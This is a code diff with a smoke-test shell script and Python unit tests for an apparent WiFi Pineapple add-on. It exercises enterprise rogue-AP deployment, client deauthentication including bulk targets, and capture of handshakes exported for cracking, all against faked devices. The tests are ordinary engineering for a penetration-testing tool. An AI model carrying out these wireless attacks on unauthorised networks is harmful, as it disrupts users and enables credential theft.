if [ -n "$sv" ] && [ "$sv" = "$pv" ]; then
|
||||||
|
pass "versions: release server.py and payload.sh agree ($sv)"
|
||||||
|
else
|
||||||
|
fail "versions: server.py='$sv' payload.sh='$pv'"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
check_authed_api() {
|
||||||
|
if [ -z "$PASS" ]; then
|
||||||
|
skip 'authed API: PASS not set'
|
||||||
|
return
|
||||||
|
fi
|
||||||
|
if [ -z "$PY" ]; then
|
||||||
|
fail 'authed API: python3 not found for response check'
|
||||||
|
return
|
||||||
|
fi
|
||||||
|
body='{"username":"root","password":"'"$PASS"'"}'
|
||||||
|
code="$(curl -fsS -m 10 -o /dev/null -w '%{http_code}' \
|
||||||
|
-c "$JAR" -H 'Content-Type: application/json' \
|
||||||
|
-d "$body" "$URL/api/login" 2>/dev/null)"
|
||||||
|
if [ "$code" != "200" ]; then
|
||||||
|
fail "authed API: login failed (http=$code)"
|
||||||
|
return
|
||||||
|
fi
|
||||||
|
shape="$(curl -fsS -m 10 -b "$JAR" "$URL/api/health" 2>/dev/null \
|
||||||
|
| "$PY" -c '
|
||||||
|
import json, sys
|
||||||
|
try:
|
||||||
|
d = json.loads(sys.stdin.read())
|
||||||
|
except Exception:
|
||||||
|
raise SystemExit("unparseable")
|
||||||
|
print("dict" if isinstance(d, dict) else "other" )' 2>/dev/null)"
|
||||||
|
if [ "$shape" = "dict" ]; then
|
||||||
|
pass 'authed API: login + cookie-authenticated /api/health ok'
|
||||||
|
else
|
||||||
|
fail 'authed API: /api/health did not return a JSON object'
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
drill_bad_values() {
|
||||||
|
info 'bad-value drill: bands=2,5 then 25-entry SSID pool'
|
||||||
|
orig_bands="$(uci_get pineapd.wlan1mon.bands)"
|
||||||
|
[ -n "$orig_bands" ] || orig_bands=5
|
||||||
|
orig_pool="$(uci_get 'pineapd.@ssidpool[0].ssid')"
|
||||||
|
|
||||||
|
uci set pineapd.wlan1mon.bands='2,5'
|
||||||
|
uci commit pineapd
|
||||||
|
"$PY" "$REL_PAY/server.py" --reconcile >/dev/null 2>&1
|
||||||
|
got="$(uci_get pineapd.wlan1mon.bands)"
|
||||||
|
if [ "$got" = "5" ]; then
|
||||||
|
pass 'drill: reconcile repaired bands 2,5 -> 5'
|
||||||
|
else
|
||||||
|
fail "drill: bands not repaired (got '$got')"
|
||||||
|
fi
|
||||||
|
uci set pineapd.wlan1mon.bands="$orig_bands"
|
||||||
|
|
||||||
|
list=""
|
||||||
|
i=0
|
||||||
|
while [ "$i" -lt 25 ]; do
|
||||||
|
list="$list smoke$i"
|
||||||
|
i=$((i + 1))
|
||||||
|
done
|
||||||
|
uci set "pineapd.@ssidpool[0].ssid=${list# }"
|
||||||
|
uci commit pineapd
|
||||||
|
"$PY" "$REL_PAY/server.py" --reconcile >/dev/null 2>&1
|
||||||
|
got="$(uci_get 'pineapd.@ssidpool[0].ssid')"
|
||||||
|
if [ -z "$got" ]; then
|
||||||
|
pass 'drill: reconcile cleared oversized SSID pool'
|
||||||
|
else
|
||||||
|
fail "drill: oversized pool survived ($(printf '%s' "$got" \
|
||||||
|
| awk '{n += NF} END {print n + 0}') entries)"
|
||||||
|
fi
|
||||||
|
if [ -n "$orig_pool" ]; then
|
||||||
|
uci set "pineapd.@ssidpool[0].ssid=$orig_pool"
|
||||||
|
else
|
||||||
|
uci -q delete 'pineapd.@ssidpool[0].ssid'
|
||||||
|
fi
|
||||||
|
uci commit pineapd
|
||||||
|
"$PY" "$REL_PAY/server.py" --reconcile >/dev/null 2>&1
|
||||||
|
}
|
||||||
|
|
||||||
|
drill_role() {
|
||||||
|
if [ -z "$UPLINK_SSID" ]; then
|
||||||
|
skip 'role drill: set SMOKE_UPLINK_SSID to enable'
|
||||||
|
return
|
||||||
|
fi
|
||||||
|
info "role drill: uplink '$UPLINK_SSID' then attack"
|
||||||
|
out="$("$PY" - "$REL" "$LEGACY" "$UPLINK_SSID" "$UPLINK_PSK" <<'PYEOF' 2>&1
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
|
||||||
|
rel, legacy, ssid, psk = sys.argv[1:5]
|
||||||
|
mk8_rfplan = None
|
||||||
|
for d in (rel, legacy):
|
||||||
|
if os.path.isfile(os.path.join(d, 'mk8_rfplan.py')):
|
||||||
|
sys.path.insert(0, d)
|
||||||
|
try:
|
||||||
|
import mk8_rfplan
|
||||||
|
break
|
||||||
|
except Exception:
|
||||||
|
sys.path.remove(d)
|
||||||
|
if mk8_rfplan is None:
|
||||||
|
print('FAIL mk8_rfplan not importable from release or legacy dir')
|
||||||
|
raise SystemExit(1)
|
||||||
|
|
||||||
|
r1 = mk8_rfplan.set_role(
|
||||||
|
'uplink', ssid=ssid or None, psk=psk or None)
|
||||||
|
if not isinstance(r1, dict) or not r1.get('ok'):
|
||||||
|
print('FAIL uplink set_role failed: %s' % json.dumps(r1))
|
||||||
|
raise SystemExit(1)
|
||||||
|
|
||||||
|
assoc = mk8_rfplan.associated()
|
||||||
|
if not assoc:
|
||||||
|
print('FAIL uplink associated() returned nothing after set_role')
|
||||||
|
else:
|
||||||
|
print('associated as %s' % assoc)
|
||||||
|
|
||||||
|
try:
|
||||||
|
r2 = mk8_rfplan.set_role('attack')
|
||||||
|
except Exception as exc:
|
||||||
|
r2 = {'ok': False, 'error': str(exc)}
|
||||||
|
if not isinstance(r2, dict) or not r2.get('ok'):
|
||||||
|
print('FAIL attack set_role failed: %s' % json.dumps(r2))
|
||||||
|
raise SystemExit(1)
|
||||||
|
raise SystemExit(0 if assoc else 1)
|
||||||
|
PYEOF
|
||||||
|
)"
|
||||||
|
rc=$?
|
||||||
|
printf '%s\n' "$out" | sed 's/^/ /'
|
||||||
|
if [ "$rc" -ne 0 ]; then
|
||||||
|
fail 'role drill: uplink association failed (see detail above)'
|
||||||
|
return
|
||||||
|
fi
|
||||||
|
hop="$(uci_get pineapd.wlan1mon.hop)"
|
||||||
|
if [ "$hop" = "1" ]; then
|
||||||
|
pass 'role drill: uplink assoc + attack role + hopping resumed'
|
||||||
|
else
|
||||||
|
fail "role drill: pineapd.wlan1mon.hop=$hop after attack role (want 1)"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
drill_watchdog() {
|
||||||
|
WDOG="$REL_PAY/mk8-watchdog.sh"
|
||||||
|
[ -f "$WDOG" ] || WDOG="$LEGACY/mk8-watchdog.sh"
|
||||||
|
if [ ! -f "$WDOG" ]; then
|
||||||
|
fail 'drill: mk8-watchdog.sh not found in release or legacy dir'
|
||||||
|
return
|
||||||
|
fi
|
||||||
|
# Ensure a profile exists: snapshot the live config as the drill target.
|
||||||
|
if [ ! -d "$BASE/profiles" ] || [ -z "$(ls "$BASE/profiles" 2>/dev/null)" ]; then
|
||||||
|
"$PY" - "$REL_PAY" <<'PYEOF' >/dev/null 2>&1 || {
|
||||||
|
import sys
|
||||||
|
sys.path.insert(0, sys.argv[1])
|
||||||
|
import mk8_profiles
|
||||||
|
mk8_profiles.snapshot('smoke-drill')
|
||||||
|
PYEOF
|
||||||
|
fail 'drill: could not snapshot a profile for watchdog drill'
|
||||||
|
return
|
||||||
|
}
|
||||||
|
fi
|
||||||
|
prof=lastknown-good
|
||||||
|
[ -d "$BASE/profiles/$prof" ] \
|
||||||
|
|| prof="$(ls "$BASE/profiles" 2>/dev/null | head -n 1)"
|
||||||
|
if [ -z "$prof" ]; then
|
||||||
|
fail 'drill: no profiles under /mmc/mk8/profiles to exercise watchdog'
|
||||||
|
return
|
||||||
|
fi
|
||||||
|
|
||||||
|
printf ' WARNING: watchdog drill stops/starts the webui service.\n'
|
||||||
|
n=5
|
||||||
|
while [ "$n" -gt 0 ]; do
|
||||||
|
printf ' starting in %ds (ctrl-c to abort)\n' "$n"
|
||||||
|
sleep 1
|
||||||
|
n=$((n - 1))
|
||||||
|
done
|
||||||
|
|
||||||
|
if ! curl -fsS -m 5 "$URL/" >/dev/null 2>&1; then
|
||||||
|
fail 'drill: web must be up before watchdog promote phase'
|
||||||
|
return
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Phase 1: healthy system -> watchdog promotes snapshot, exits 0.
|
||||||
|
"$WDOG" "$prof" 1 2 2 30 &
|
||||||
|
wp=$!
|
||||||
|
if wait_exit "$wp" 40; then
|
||||||
|
if [ "$WAIT_RC" -eq 0 ]; then
|
||||||
|
pass "drill: watchdog promote path exited 0 (profile=$prof)"
|
||||||
|
else
|
||||||
|
fail "drill: watchdog promote exit=$WAIT_RC"
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
kill_bg "$wp"
|
||||||
|
fail 'drill: watchdog promote did not exit within 40s'
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Phase 2: web stopped -> watchdog rolls back and journals it.
|
||||||
|
before="$(rollback_count)"
|
||||||
|
WEB_STOPPED=1
|
||||||
|
"$WEBUI_INIT" stop >/dev/null 2>&1
|
||||||
|
"$WDOG" "$prof" 1 2 2 60 &
|
||||||
|
wp=$!
|
||||||
|
rolled=0
|
||||||
|
t=0
|
||||||
|
while [ "$t" -lt 150 ]; do
|
||||||
|
now="$(rollback_count)"
|
||||||
|
[ "$now" -gt "$before" ] && { rolled=1; break; }
|
||||||
|
kill -0 "$wp" 2>/dev/null || break
|
||||||
|
sleep 2
|
||||||
|
t=$((t + 2))
|
||||||
|
done
|
||||||
|
kill_bg "$wp"
|
||||||
|
WEB_STOPPED=0
|
||||||
|
"$WEBUI_INIT" start >/dev/null 2>&1
|
||||||
|
up=0
|
||||||
|
t=0
|
||||||
|
while [ "$t" -lt 45 ]; do
|
||||||
|
curl -fsS -m 3 "$URL/" >/dev/null 2>&1 && { up=1; break; }
|
||||||
|
sleep 2
|
||||||
|
t=$((t + 2))
|
||||||
|
done
|
||||||
|
if [ "$rolled" -eq 1 ]; then
|
||||||
|
pass 'drill: watchdog rollback journaled'
|
||||||
|
else
|
||||||
|
fail 'drill: no new rollback entry in events.log'
|
||||||
|
fi
|
||||||
|
if [ "$up" -eq 1 ]; then
|
||||||
|
pass 'drill: webui restored after rollback drill'
|
||||||
|
else
|
||||||
|
fail 'drill: webui did not come back within 45s'
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
main() {
|
||||||
|
for arg in "$@"; do
|
||||||
|
case "$arg" in
|
||||||
|
--write) WRITE=1 ;;
|
||||||
|
-h|--help) usage; exit 0 ;;
|
||||||
|
*) printf 'unknown argument: %s\n' "$arg" >&2; usage >&2; exit 2 ;;
|
||||||
|
esac
|
||||||
|
done
|
||||||
|
|
||||||
|
if [ "$(id -u 2>/dev/null)" != "0" ]; then
|
||||||
|
printf 'FAIL smoke: must run as root on the device\n'
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
printf 'Mark VIII smoke suite (%s%s)\n' \
|
||||||
|
"$(date '+%Y-%m-%d %H:%M:%S')" \
|
||||||
|
"$([ "$WRITE" = "1" ] && printf ' --write')"
|
||||||
|
|
||||||
|
check_web_up
|
||||||
|
check_guard
|
||||||
|
check_invariants
|
||||||
|
check_journal
|
||||||
|
check_monitors
|
||||||
|
check_versions
|
||||||
|
check_authed_api
|
||||||
|
|
||||||
|
if [ "$WRITE" = "1" ]; then
|
||||||
|
if [ -z "$PY" ]; then
|
||||||
|
fail 'drills: python3 required but not found'
|
||||||
|
elif [ "$FAILED" -ne 0 ]; then
|
||||||
|
skip 'drills: read-only checks failed; refusing drills'
|
||||||
|
else
|
||||||
|
printf -- '--- --write drills ---\n'
|
||||||
|
drill_bad_values
|
||||||
|
drill_role
|
||||||
|
drill_watchdog
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
printf -- '---\n'
|
||||||
|
if [ "$FAILED" -eq 0 ]; then
|
||||||
|
printf 'SMOKE OK\n'
|
||||||
|
exit 0
|
||||||
|
fi
|
||||||
|
printf 'SMOKE FAILED (%d check(s))\n' "$FAILED"
|
||||||
|
exit 1
|
||||||
|
}
|
||||||
|
|
||||||
|
trap on_exit EXIT
|
||||||
|
trap 'exit 130' INT
|
||||||
|
trap 'exit 143' TERM
|
||||||
|
main "$@"
|
||||||
+278
-1
@@ -94,6 +94,13 @@ class AttacksDeployTest(unittest.TestCase):
|
|||||||
server.ENT_LOG = os.path.join(server.ENT_DIR, 'hostapd.log')
|
server.ENT_LOG = os.path.join(server.ENT_DIR, 'hostapd.log')
|
||||||
server.ENT_CAPTURES = os.path.join(server.ENT_DIR, 'captures.json')
|
server.ENT_CAPTURES = os.path.join(server.ENT_DIR, 'captures.json')
|
||||||
server.ENT_DH_FILE = os.path.join(server.ENT_DIR, 'dh.pem')
|
server.ENT_DH_FILE = os.path.join(server.ENT_DIR, 'dh.pem')
|
||||||
|
# The fake device_run cannot execute real openssl; pre-seed the cert
|
||||||
|
# files so _ensure_ent_certs() short-circuits to True.
|
||||||
|
os.makedirs(server.ENT_DIR, exist_ok=True)
|
||||||
|
for p in (server.ENT_CA_CERT, server.ENT_SERVER_CERT,
|
||||||
|
server.ENT_SERVER_KEY, server.ENT_DH_FILE):
|
||||||
|
with open(p, 'w') as f:
|
||||||
|
f.write('stub\n')
|
||||||
self.old_ent_running = server._ent_running
|
self.old_ent_running = server._ent_running
|
||||||
self.old_ent_state = server._ent_state_loaded
|
self.old_ent_state = server._ent_state_loaded
|
||||||
server._ent_running = lambda: True
|
server._ent_running = lambda: True
|
||||||
@@ -215,6 +222,7 @@ class AttacksDeployTest(unittest.TestCase):
|
|||||||
self.assertTrue(any(c[:4] == ['/usr/sbin/hostapd', '-B', '-P', server.ENT_PIDFILE]
|
self.assertTrue(any(c[:4] == ['/usr/sbin/hostapd', '-B', '-P', server.ENT_PIDFILE]
|
||||||
for c in cmds))
|
for c in cmds))
|
||||||
self.assertEqual(self.f.state['pineapd.@hostapd[0].mgmtiface'], 'wlan1ent')
|
self.assertEqual(self.f.state['pineapd.@hostapd[0].mgmtiface'], 'wlan1ent')
|
||||||
|
self.assertEqual(self.f.state['pineapd.@hostapd[0].pineape_auth_pass'], '0')
|
||||||
self.assertEqual(self.f.state['pineapd.wlan1mon.hop'], '0')
|
self.assertEqual(self.f.state['pineapd.wlan1mon.hop'], '0')
|
||||||
with open(server.ENT_CONF) as f:
|
with open(server.ENT_CONF) as f:
|
||||||
conf = f.read()
|
conf = f.read()
|
||||||
@@ -231,6 +239,22 @@ class AttacksDeployTest(unittest.TestCase):
|
|||||||
users = f.read()
|
users = f.read()
|
||||||
self.assertIn('PEAP,TTLS', users)
|
self.assertIn('PEAP,TTLS', users)
|
||||||
self.assertIn('[2]', users)
|
self.assertIn('[2]', users)
|
||||||
|
# Phase-2 entries must use a quoted empty prefix: hostapd never
|
||||||
|
# wildcard-matches a bare `*` identity for phase2 lookups.
|
||||||
|
self.assertIn('""*', users)
|
||||||
|
self.assertNotRegex(users, r'(?m)^\*\t.*\[2\]$')
|
||||||
|
|
||||||
|
def test_eap_users_text_grammar_matches_pineapple_wpad(self):
|
||||||
|
text = server._eap_users_text('secret123', 'any')
|
||||||
|
lines = text.splitlines()
|
||||||
|
self.assertEqual(lines[0], '*\tPEAP,TTLS')
|
||||||
|
self.assertTrue(lines[1].startswith('""*\t'))
|
||||||
|
self.assertIn('"secret123"', lines[1])
|
||||||
|
self.assertTrue(lines[1].endswith('[2]'))
|
||||||
|
# A bare-wildcard phase-2 line is the firmware-broken grammar.
|
||||||
|
for line in lines:
|
||||||
|
if line.endswith('[2]'):
|
||||||
|
self.assertFalse(line.startswith('*\t'))
|
||||||
|
|
||||||
def test_deploy_enterprise_rejects_non_5g_channel(self):
|
def test_deploy_enterprise_rejects_non_5g_channel(self):
|
||||||
status, _ = server.h_attacks_deploy(ctx({
|
status, _ = server.h_attacks_deploy(ctx({
|
||||||
@@ -241,11 +265,15 @@ class AttacksDeployTest(unittest.TestCase):
|
|||||||
def test_stop_enterprise_tears_down_engine(self):
|
def test_stop_enterprise_tears_down_engine(self):
|
||||||
server._ent_running = lambda: True
|
server._ent_running = lambda: True
|
||||||
server._ent_state_loaded = lambda: {'ssid': 'CorpAP', 'channel': 36}
|
server._ent_state_loaded = lambda: {'ssid': 'CorpAP', 'channel': 36}
|
||||||
|
self.f.state['pineapd.@hostapd[0].pineape_auth_pass'] = '0'
|
||||||
status, payload = server.h_attacks_stop(ctx({'kind': 'enterprise'}))
|
status, payload = server.h_attacks_stop(ctx({'kind': 'enterprise'}))
|
||||||
self.assertEqual(status, 200)
|
self.assertEqual(status, 200)
|
||||||
self.assertIn('wlan1ent', payload['stopped'])
|
self.assertIn('wlan1ent', payload['stopped'])
|
||||||
cmds = [r[0] for r in self.f.runs]
|
cmds = [r[0] for r in self.f.runs]
|
||||||
self.assertIn(['iw', 'dev', 'wlan1ent', 'del'], cmds)
|
self.assertIn(['iw', 'dev', 'wlan1ent', 'del'], cmds)
|
||||||
|
# Deploy disabled PineAPE auth passthrough; stop must restore it.
|
||||||
|
self.assertEqual(self.f.state['pineapd.@hostapd[0].pineape_auth_pass'],
|
||||||
|
'1')
|
||||||
|
|
||||||
def test_deploy_enterprise_writes_passphrase_and_hidden(self):
|
def test_deploy_enterprise_writes_passphrase_and_hidden(self):
|
||||||
status, payload = server.h_attacks_deploy(ctx({
|
status, payload = server.h_attacks_deploy(ctx({
|
||||||
@@ -360,7 +388,7 @@ class AttacksDeauthTest(unittest.TestCase):
|
|||||||
self.assertEqual(payload['inject'], 'wlan0mon')
|
self.assertEqual(payload['inject'], 'wlan0mon')
|
||||||
calls = [r[0] for r in self.f.runs]
|
calls = [r[0] for r in self.f.runs]
|
||||||
self.assertIn(['_pineap', 'INTERFACE', 'INJECT', 'wlan0mon'], calls)
|
self.assertIn(['_pineap', 'INTERFACE', 'INJECT', 'wlan0mon'], calls)
|
||||||
self.assertIn(['/usr/bin/hak5cmd', 'DEAUTH_CLIENT', 'AA:BB:CC:DD:EE:FF',
|
self.assertIn(['/usr/bin/hak5cmd', 'PINEAPPLE_DEAUTH_CLIENT', 'AA:BB:CC:DD:EE:FF',
|
||||||
'11:22:33:44:55:66', '6'], calls)
|
'11:22:33:44:55:66', '6'], calls)
|
||||||
|
|
||||||
def test_deauth_5g_keeps_wlan1mon_inject(self):
|
def test_deauth_5g_keeps_wlan1mon_inject(self):
|
||||||
@@ -376,6 +404,20 @@ class AttacksDeauthTest(unittest.TestCase):
|
|||||||
self.assertEqual(status, 400)
|
self.assertEqual(status, 400)
|
||||||
|
|
||||||
|
|
||||||
|
class AttackFilterModeTest(unittest.TestCase):
|
||||||
|
def test_allow_all_ssids_uses_full_network_filter_app_name(self):
|
||||||
|
calls = []
|
||||||
|
old_run = server.device_run
|
||||||
|
server.device_run = lambda args, timeout=20, input_data=None: (
|
||||||
|
calls.append(list(args)) or (0, '', ''))
|
||||||
|
try:
|
||||||
|
self.assertTrue(server._allow_all_ssids())
|
||||||
|
finally:
|
||||||
|
server.device_run = old_run
|
||||||
|
self.assertEqual(calls, [[server.HAK5CMD,
|
||||||
|
'PINEAPPLE_NETWORK_FILTER_MODE', 'deny']])
|
||||||
|
|
||||||
|
|
||||||
class AttacksExportTest(unittest.TestCase):
|
class AttacksExportTest(unittest.TestCase):
|
||||||
def setUp(self):
|
def setUp(self):
|
||||||
self.f = FakeUciDevice()
|
self.f = FakeUciDevice()
|
||||||
@@ -394,11 +436,13 @@ class AttacksExportTest(unittest.TestCase):
|
|||||||
server.device_run = fake_run
|
server.device_run = fake_run
|
||||||
server.daemon_sock_call = lambda method, path, body=None, timeout=10: (200, {})
|
server.daemon_sock_call = lambda method, path, body=None, timeout=10: (200, {})
|
||||||
self._real_exists = os.path.exists
|
self._real_exists = os.path.exists
|
||||||
|
self._real_getsize = os.path.getsize
|
||||||
server.os.path.exists = lambda p: p.endswith('.hc22000') or p.startswith('/sys')
|
server.os.path.exists = lambda p: p.endswith('.hc22000') or p.startswith('/sys')
|
||||||
server.os.path.getsize = lambda p: 12
|
server.os.path.getsize = lambda p: 12
|
||||||
|
|
||||||
def tearDown(self):
|
def tearDown(self):
|
||||||
server.os.path.exists = self._real_exists
|
server.os.path.exists = self._real_exists
|
||||||
|
server.os.path.getsize = self._real_getsize
|
||||||
try:
|
try:
|
||||||
os.unlink('/tmp/mk8test.hc22000')
|
os.unlink('/tmp/mk8test.hc22000')
|
||||||
except OSError:
|
except OSError:
|
||||||
@@ -455,5 +499,238 @@ class AttacksStatusTest(unittest.TestCase):
|
|||||||
self.assertTrue(payload['enterprise']['pineape']['enabled'])
|
self.assertTrue(payload['enterprise']['pineape']['enabled'])
|
||||||
|
|
||||||
|
|
||||||
|
class AttacksCaptureTest(unittest.TestCase):
|
||||||
|
def setUp(self):
|
||||||
|
self.f = FakeUciDevice()
|
||||||
|
server.device_run = self.f.device_run
|
||||||
|
server.daemon_sock_call = lambda *a, **k: (200, {})
|
||||||
|
server._uci_wifi_iface = self.f.uci_iface
|
||||||
|
server._uci_section = self.f.uci_iface
|
||||||
|
server._verify_iface = lambda name, timeout=20: self.f._verify
|
||||||
|
self.pidfile = tempfile.mktemp(prefix='mk8-cap-test-')
|
||||||
|
self.real_exists = os.path.exists
|
||||||
|
|
||||||
|
def tearDown(self):
|
||||||
|
os.path.exists = self.real_exists
|
||||||
|
try:
|
||||||
|
os.unlink(self.pidfile)
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def test_status_reports_dead_pid_as_stopped_stale(self):
|
||||||
|
with open(self.pidfile, 'w') as f:
|
||||||
|
f.write('999999\n')
|
||||||
|
running, pid, stale = server._capture_state(self.pidfile, 'wlan0mon')
|
||||||
|
self.assertFalse(running)
|
||||||
|
self.assertTrue(stale)
|
||||||
|
self.assertFalse(os.path.exists(self.pidfile),
|
||||||
|
'stale pidfile must be cleaned up')
|
||||||
|
|
||||||
|
def test_status_kills_capture_when_iface_dropped(self):
|
||||||
|
with open(self.pidfile, 'w') as f:
|
||||||
|
f.write('4242\n')
|
||||||
|
real_exists = os.path.exists
|
||||||
|
killed = []
|
||||||
|
old_run = server.device_run
|
||||||
|
|
||||||
|
def fake_run(args, timeout=20, input_data=None):
|
||||||
|
if args[0] == 'kill':
|
||||||
|
killed.append(args[1])
|
||||||
|
return (0, '', '')
|
||||||
|
|
||||||
|
server.device_run = fake_run
|
||||||
|
try:
|
||||||
|
os.path.exists = lambda p: p.startswith('/proc/4242')
|
||||||
|
running, pid, stale = server._capture_state(
|
||||||
|
self.pidfile, 'wlan0mon')
|
||||||
|
finally:
|
||||||
|
os.path.exists = real_exists
|
||||||
|
server.device_run = old_run
|
||||||
|
self.assertFalse(running)
|
||||||
|
self.assertTrue(stale)
|
||||||
|
self.assertEqual(killed, ['4242'])
|
||||||
|
|
||||||
|
def test_status_live_capture_running(self):
|
||||||
|
with open(self.pidfile, 'w') as f:
|
||||||
|
f.write(str(os.getpid()))
|
||||||
|
real_exists = os.path.exists
|
||||||
|
try:
|
||||||
|
# /proc/<pid> exists for our own process; iface path faked up.
|
||||||
|
os.path.exists = lambda p: (
|
||||||
|
not p.startswith('/sys/class/net') or p.endswith('wlan0mon'))
|
||||||
|
running, pid, stale = server._capture_state(
|
||||||
|
self.pidfile, 'wlan0mon')
|
||||||
|
finally:
|
||||||
|
os.path.exists = real_exists
|
||||||
|
self.assertTrue(running)
|
||||||
|
self.assertFalse(stale)
|
||||||
|
|
||||||
|
def test_deploy_retries_radio0_set_ap_when_iface_never_verifies(self):
|
||||||
|
calls = {'set_ap': 0}
|
||||||
|
|
||||||
|
def sock(method, path, body=None, timeout=10):
|
||||||
|
if path == '/api/settings/wifi/set_ap':
|
||||||
|
calls['set_ap'] += 1
|
||||||
|
return (200, {})
|
||||||
|
|
||||||
|
server.daemon_sock_call = sock
|
||||||
|
self.f._verify = False
|
||||||
|
status, payload = server.h_attacks_deploy(ctx({
|
||||||
|
'kind': 'open', 'ssid': 'Guest', 'channel': 1}))
|
||||||
|
self.assertEqual(status, 200)
|
||||||
|
self.assertFalse(payload['verified'])
|
||||||
|
self.assertEqual(calls['set_ap'], 2,
|
||||||
|
'radio0 deploy must retry set_ap once')
|
||||||
|
|
||||||
|
def test_deploy_5g_does_not_retry_set_ap(self):
|
||||||
|
calls = {'set_ap': 0}
|
||||||
|
|
||||||
|
def sock(method, path, body=None, timeout=10):
|
||||||
|
if path == '/api/settings/wifi/set_ap':
|
||||||
|
calls['set_ap'] += 1
|
||||||
|
return (200, {})
|
||||||
|
|
||||||
|
server.daemon_sock_call = sock
|
||||||
|
self.f._verify = False
|
||||||
|
status, payload = server.h_attacks_deploy(ctx({
|
||||||
|
'kind': 'wpa', 'ssid': 'Corp', 'passphrase': 'secretpass1',
|
||||||
|
'enctype': 'psk2', 'channel': 36}))
|
||||||
|
self.assertEqual(status, 200)
|
||||||
|
self.assertEqual(calls['set_ap'], 0,
|
||||||
|
'5 GHz path writes UCI directly, no set_ap')
|
||||||
|
self.assertEqual(self.f.state['pineapd.@hostapd[0].mgmtiface'],
|
||||||
|
'wlan1wpa')
|
||||||
|
|
||||||
|
|
||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
unittest.main()
|
unittest.main()
|
||||||
|
|
||||||
|
|
||||||
|
class AttacksDeauthBulkTest(unittest.TestCase):
|
||||||
|
def setUp(self):
|
||||||
|
self.f = FakeUciDevice()
|
||||||
|
self.f._verify = True
|
||||||
|
server.device_run = self.f.device_run
|
||||||
|
server.daemon_sock_call = self.f.daemon_sock_call
|
||||||
|
server._uci_wifi_iface = self.f.uci_iface
|
||||||
|
|
||||||
|
def test_bulk_deauth_all_targets(self):
|
||||||
|
targets = [
|
||||||
|
{'bssid': 'AA:BB:CC:DD:EE:FF', 'client': '11:22:33:44:55:66',
|
||||||
|
'channel': 6},
|
||||||
|
{'bssid': 'AA:BB:CC:DD:EE:FF', 'client': '22:22:33:44:55:66',
|
||||||
|
'channel': 36},
|
||||||
|
]
|
||||||
|
status, payload = server.h_attacks_deauth_bulk(ctx({'targets': targets}))
|
||||||
|
self.assertEqual(status, 200)
|
||||||
|
self.assertEqual(payload['sent'], 2)
|
||||||
|
self.assertEqual(payload['failed'], 0)
|
||||||
|
calls = [r[0] for r in self.f.runs]
|
||||||
|
self.assertIn(['/usr/bin/hak5cmd', 'PINEAPPLE_DEAUTH_CLIENT',
|
||||||
|
'AA:BB:CC:DD:EE:FF', '11:22:33:44:55:66', '6'], calls)
|
||||||
|
self.assertIn(['/usr/bin/hak5cmd', 'PINEAPPLE_DEAUTH_CLIENT',
|
||||||
|
'AA:BB:CC:DD:EE:FF', '22:22:33:44:55:66', '36'], calls)
|
||||||
|
|
||||||
|
def test_bulk_deauth_mixed_validity_reports_per_target(self):
|
||||||
|
targets = [
|
||||||
|
{'bssid': 'AA:BB:CC:DD:EE:FF', 'client': '11:22:33:44:55:66',
|
||||||
|
'channel': 6},
|
||||||
|
{'bssid': 'nope', 'client': '22:22:33:44:55:66', 'channel': 6},
|
||||||
|
]
|
||||||
|
status, payload = server.h_attacks_deauth_bulk(ctx({'targets': targets}))
|
||||||
|
self.assertEqual(status, 200)
|
||||||
|
self.assertEqual(payload['sent'], 1)
|
||||||
|
self.assertEqual(payload['failed'], 1)
|
||||||
|
self.assertFalse(payload['results'][1]['ok'])
|
||||||
|
self.assertEqual(payload['results'][1]['error'], 'invalid AP MAC')
|
||||||
|
|
||||||
|
def test_bulk_deauth_rejects_empty_and_oversized(self):
|
||||||
|
status, _ = server.h_attacks_deauth_bulk(ctx({'targets': []}))
|
||||||
|
self.assertEqual(status, 400)
|
||||||
|
status, _ = server.h_attacks_deauth_bulk(ctx({}))
|
||||||
|
self.assertEqual(status, 400)
|
||||||
|
big = [{'bssid': 'AA:BB:CC:DD:EE:FF', 'client': '11:22:33:44:55:%02d' % (i % 256),
|
||||||
|
'channel': 6} for i in range(33)]
|
||||||
|
status, payload = server.h_attacks_deauth_bulk(ctx({'targets': big}))
|
||||||
|
self.assertEqual(status, 400)
|
||||||
|
|
||||||
|
|
||||||
|
class AttacksCaptureStatusBothIfacesTest(unittest.TestCase):
|
||||||
|
"""The UI polls status without an iface; the handler must report the
|
||||||
|
monitor that actually has a live capture (regression: wlan1mon captures
|
||||||
|
flipped back to 'Not capturing' within one 5s poll)."""
|
||||||
|
|
||||||
|
def setUp(self):
|
||||||
|
self.f = FakeUciDevice()
|
||||||
|
server.device_run = self.f.device_run
|
||||||
|
self.pidfiles = ['/tmp/mk8_capture_wlan0mon.pid',
|
||||||
|
'/tmp/mk8_capture_wlan1mon.pid']
|
||||||
|
self.real_exists = os.path.exists
|
||||||
|
for p in self.pidfiles:
|
||||||
|
try:
|
||||||
|
os.unlink(p)
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def tearDown(self):
|
||||||
|
os.path.exists = self.real_exists
|
||||||
|
for p in self.pidfiles:
|
||||||
|
try:
|
||||||
|
os.unlink(p)
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def _live_pidfile(self, iface):
|
||||||
|
with open('/tmp/mk8_capture_%s.pid' % iface, 'w') as f:
|
||||||
|
f.write(str(os.getpid()))
|
||||||
|
|
||||||
|
def test_status_without_iface_finds_running_wlan1mon(self):
|
||||||
|
self._live_pidfile('wlan1mon')
|
||||||
|
# Own pid always exists in /proc; pretend the wlan1mon netdev exists.
|
||||||
|
os.path.exists = lambda p: (
|
||||||
|
not p.startswith('/sys/class/net') or p.endswith('wlan1mon'))
|
||||||
|
status, payload = server.h_attacks_capture(ctx({'action': 'status'}))
|
||||||
|
self.assertEqual(status, 200)
|
||||||
|
self.assertTrue(payload['running'])
|
||||||
|
